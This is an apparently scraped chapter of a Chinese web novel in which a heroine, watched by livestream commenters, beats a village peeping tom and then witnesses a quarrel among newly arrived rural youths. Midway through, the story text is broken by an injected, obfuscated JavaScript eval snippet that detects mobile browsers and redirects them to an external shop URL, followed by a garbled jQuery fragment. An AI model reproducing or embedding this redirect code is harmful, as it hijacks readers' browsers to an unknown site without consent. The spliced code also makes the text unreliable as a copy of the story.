6. 今天我就要替天行道
    今天天气不错,明亮的阳光照得暖洋洋的,让人发困。

    闫立刚跟他那一天游手好闲的朋友去偷鸡摸狗完,准备回家睡个觉。

    叼着根不知名的草,一路哼着歌,吊儿郎当的在大路上走着。

    边月在后面尾随了一路,虽然眼下外面根本没什么人,但光天化日之下,也不好下黑手,说不定就被看见了。

    [上啊主播!犹豫就会败北!]

    [为啥悄咪咪的跟在这个人后面啊,我都不敢大声说话了,好紧张。]

    [因为他值得。]

    眼瞅着没机会了,又一群乱瞎指挥的,想转头回去,闫立不知道有了什么想法,突然往旁边的小路去了。

    [机会来了,冲冲冲!]

    [看着贼眉鼠眼的,感觉是要去干什么坏事!]

    边月有些迟疑,这条路也不是他回家的路啊,随即跟了上去,正好看见他熟练的翻进一家后院,蹲墙根里,偷摸从糊了报纸的窗户往里看。

    [惯犯!直接给他抓了!]

    这不是王梨家吗!

    十里八乡都知道的俊俏闺女,跟闫立七拐八拐还连着亲。

    先是四处张望了一番,确认周遭没人,闫立专注的往里面看,头都快伸进窗框里。

    [某种植物,这不偷窥吗?变态啊,好恶心!]

    [引起不适,退了。]

    边月解下绑裤腰上的麻袋团成一团,攥在手里,弓着腰,快步走到后院围墙边,不敢露头。

    许是听到什么动静,闫立又警觉的往四周看了两眼。

    [别!露!头!]

    [不许动!]

    [好了,他又开始用他那只有三厘米的脑袋思考了。]

    边月小心扶着墙,略微冒个头,打探一番,确保自己还没暴露。

    灵巧的翻身过墙,快步走过去,一切都悄无声息,直至所有人都没反应过来,边月顺滑将棕色麻布袋罩住整个人。

    突如其来的眼前一黑,他才意识到被套了黑袋。

    [好!]

    [干得好!]

    [爽了!让我来动手!]

    “啊,兄弟,打个商量,我也没干什么,不至于套我袋子吧。”闫立刚要惊呼出声,又反应过来自己的处境,悄声跟还以为是喜欢王梨的人打商量。

    边月哪里管他在说什么,直接把人扛到墙后,直接扔地上了。

    [她怎么跟抓小鸡似的!]

    [就那么轻轻的一提,成年男子就提起来了?啊啊啊!]

    [可恶,我健身去了。]

    [教练!我想学这个!]

    闫立的肩膀着地,痛得面目狰狞,下一秒,一个沙包大的拳头就直接招呼过去。

    “别!实在不行,啊,我掏点钱,一块怎么样。”顿时只觉得身上所有的痛觉都集中在那处,只得在地上打滚,想要缓解一下,受不了,又以利相诱。

    瞬间停止的拳头,让他以为还有谈下去的余地。

    “这样吧,嘶,我身上就两块二毛五,没有多的了,大哥,你就放了我吧,再也不敢了。这事说出去,对她也不好,对吧。”

    [咦惹,呸呸呸!]

    听的边月的火气逐渐上升,这什么话,这是能用钱就揭过去的事吗!

    目标从身上转移到了脸上,稍微收了几分力,不至于给脸给打毁了,看他鼻青脸肿的还敢往外瞎溜达不。

    心里悄悄念叨:混账!那还不如狗屎猪屎,活着简直是在浪费粮食,整天鼓动他妈上门要钱,自己倒是落得清闲。

    车轱辘话说了一圈又一圈,巴掌实实的扇在脸上,给狠狠出了口恶气,给他长长记性。

    [看的我都想钻进去,狠狠打他一顿,真恶心,tui!]

    [直播间一人一唾沫星子都能淹了他!]

    看着快过了午睡的点,边月匆忙拿了闫立身上的两块二毛五,往那窗洞里塞,轻松把闫立又扛着扔到一旁小路上,拍拍屁股走了。

    “……”闫立又痛又不敢出声,这下给他脸着陆了,牙齿重重的磕嘴上,正不停往外冒血,逐渐把麻袋浸湿。

    他这脸上恐怕都面目全非了,平日里就好顶着张小白脸,在城里挑逗小姑娘。

    边月刚结束今天的行侠仗义,就听到远处传来叽叽喳喳的声音,不太耳熟,下意识地蹲下,找了个隐秘的角落。

    [好像在做贼哦,哈哈哈。]

    [麻烦去掉好像,哈哈哈哈。]

    仔细一看,原来是村长带着几个新来的知青,有个女生正兴奋的问个不停,另外一男一女沉默的像哑巴,都身上带了不少东西。

    她就说,怎么那村长上午着急忙慌的就走掉了,哪像平日里心平气和的乌龟性子,后面还带了村里唯一的牛车出门。

    “诶!这里是什么东西啊!”

    很快路边沾着血,不时还在蛄蛹的麻袋被林支竹给发现了。

    “可能是哪家的鸡遭了瘟,给丢外边了。这没心没肺的,哪能到处乱丢呢,赶明我去说说。”村长随便找了个借口打算忽悠过去。

    [哈哈哈哈,还不如畜生呢!]

    “那我可更要看看了。”

    “里面有个人!啊!”

    林支竹拖着行李,直接跑到小路边,揭开麻袋,被糊了一脸血的闫立给吓了一跳,四仰八叉的坐地上了。

    这不是说乡下民风淳朴,怎么还有这种事情发生呢,她想回家,想娘了。

    村长吓得直冒汗,连忙跑过去,又仔细辨别面容。

    “哎哟,这不闫家小儿子嘛,别怕,村里人,活的。”一番安抚下来,总算冷静下来。

    “叔,我没啥事,就跌了一跤,别跟我娘讲。”闫立边讲话,血边往外流,看得人心惊胆战。

    “你这也不是个事啊,快上镇里卫生院看看吧,我看着都害怕。”快六十岁的小老头直接躲到了才十七八岁的林支竹身后,他可不能跟这事沾上一点关系,免得闫老太又来纠缠。

    “嗯,叔,我先走了啊。”闫立一瘸一拐还能走成弯的,村长都看不下去,去旁边人家薅了个小孩,让往闫家去找人了。

    边月往草丛深处缩了缩,还好她秋收被晒得黑不溜秋的,现在还没养回来,在里面也不打眼,根本没人注意到她。

    先前沉默的女知青看着高高瘦瘦的,模样清秀,去扯了一下林支竹,没拉起来,场面一时有些尴尬,不作声,又帮忙把一地的东西都拾起来。

    林支竹也不好意思,自己麻溜的爬起来,拍了拍身上的泥土,接过自己的行李。

    “谢谢同志。”脸蛋红扑扑的,咧着个嘴。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959335|136736||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    又扭捏的贴近,小嘴叭叭的说个不停。

    “同志你叫啥啊?”

    “你哪里的人啊?”

    “不仅长的好看,人还挺好的!”

    “我叫林支竹,是从湘省来的,家里有两个哥哥,下面还有一个妹妹,一个哥哥。”

    “…”

    冯悦开始后悔自己为什么多管闲事了,现在旁边吵的这个比夏天的蝉还要烦。

    “没事了,没几步了,我们快去知青点吧!”刚去解决完事情的村长又回头来,巴不得直接把人团吧团吧塞知青点里,生怕晚了人就跑了。

    这闫家真就不省心,给他的日常工作都带来不少麻烦。

    心里嘀咕,脸上还是挤满了皱纹的笑脸,跟赶鸭子一样,把三个人快步赶过去了。

    才屁股着火的跑回家,远离一切麻烦。

    这知青点不大,原先是一家孤儿寡母的,后面哪天突然发现人都不见,空置个一年半载。等知青都来了,没个住的地方,才重新把这里捯饬出来。

    “啧,这知青点怎么那么脏啊。”林支竹嫌弃直接挂脸上了,拿了手绢出来捂住口鼻,进屋里更是这里挑挑,那里捡捡,就差说这里不能住人了。

    冯悦默不作声,自顾自地收拾,忽略身边一直叽叽喳喳的声音,很快把炕上收拾出了一块地方。

    “这得在这个破地方多久啊,哪能是人呆的。”

    林支竹一屁股坐到炕上,唉声叹气,忧愁后面的日子怎么过,这个时候来这里,粮食也没多少,过冬都有的愁。

    外面又进来两个之前的知青,刚有说有笑的进来,立马变了脸色。

    “同志好,我们是刚下乡来的知青。”林支竹站起身,拉着冯悦过去搭话。

    “嗯,你们好。”

    “这中间是我两的铺子,你俩别占了就行,别扯我。”刘华不顾身旁李桂花的拉扯,大大咧咧的说出来。

    “哪里占了你们位置,那边边角角的,脏死了,哪里能住人!”

    “哟,这哪里来的大小姐啊,还搁乡下挑三拣四的。”

    边月原本看人都散了,打算出来溜回家去,听见知青点传出来的吵闹声,又蹲回草里了,腿都麻了。

    [还在这蹲着干嘛呢?]

    [看热闹呢,别吵!]

    [哪呢?哪呢?我最喜欢看八卦了!]

    [把声音调最大就听见了。]

    “我们可不欢迎你这样的资本主义!”

    “好好说话!”

    “你这样之前是要跟地主一起打了的!”

    “你血口喷人!”

    林支竹吵的面红脖子粗,也说不出更多的话来,只会一个劲的反驳。

    [哎呀,吵架不是这样吵的,就应该说:你这上来就对新来的这么不友好,是不是还没改造好,意识形态不对。把锅甩她身上啊,我的姐姐啊!]

    [还有教学吗,我平时骂人就很菜,半夜复盘,后悔的要死。]

    [别陷入自证陷阱,直接戳他痛处。]

    边月听的直叹气,刚不是还那么多话,现在骂人都骂不赢,她都想冲进去帮忙骂了。

    “我不是,我没有!”

    “咔吱咔吱-”

    她猛的一回头,这里虽不是很偏僻,但哪里来的人!